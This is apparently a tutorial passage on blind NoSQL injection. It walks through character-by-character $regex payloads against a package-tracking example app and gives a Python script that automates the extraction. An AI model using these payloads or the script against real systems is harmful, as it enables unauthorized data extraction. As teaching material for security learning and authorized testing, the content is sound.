Blind NoSQL injection occurs when we can inject queries but cannot directly see the results. Instead, we must infer information from the application's behavior (true/false responses).
MangoPost Example
A package tracking application where you enter a tracking number to get shipment information.
Vulnerable Query
The application sends JSON data (not URL-encoded) and likely queries:
{"trackingNum": {"$regex": "^0.*"}} // No match
{"trackingNum": {"$regex": "^1.*"}} // No match
{"trackingNum": {"$regex": "^2.*"}} // No match
{"trackingNum": {"$regex": "^3.*"}} // Match! First char is '3'
{"trackingNum": {"$regex": "^30.*"}} // No match
{"trackingNum": {"$regex": "^31.*"}} // No match
{"trackingNum": {"$regex": "^32.*"}} // Match! Second char is '2'
{"trackingNum": {"$regex": "^32A.*"}} // Third char is 'A'
{"trackingNum": {"$regex": "^32A7.*"}} // Fourth char is '7'
{"trackingNum": {"$regex": "^32A76.*"}} // Fifth char is '6'
{"trackingNum": {"$regex": "^32A766.*"}} // Sixth char is '6'
{"trackingNum": {"$regex": "^32A766$"}} // Verify complete tracking number
import requests
import string
def blind_extract(base_url, target_regex):
"""Extract data using blind NoSQL injection"""
characters = string.ascii_letters + string.digits + "_-"
extracted = ""
while True:
found = False
for char in characters:
test_regex = f"^{extracted}{char}.*"
payload = {"trackingNum": {"$regex": test_regex}}
response = requests.post(base_url, json=payload)
if "package info" in response.text: # Success indicator
extracted += char
found = True
print(f"Found: {extracted}")
break
if not found:
break
return extracted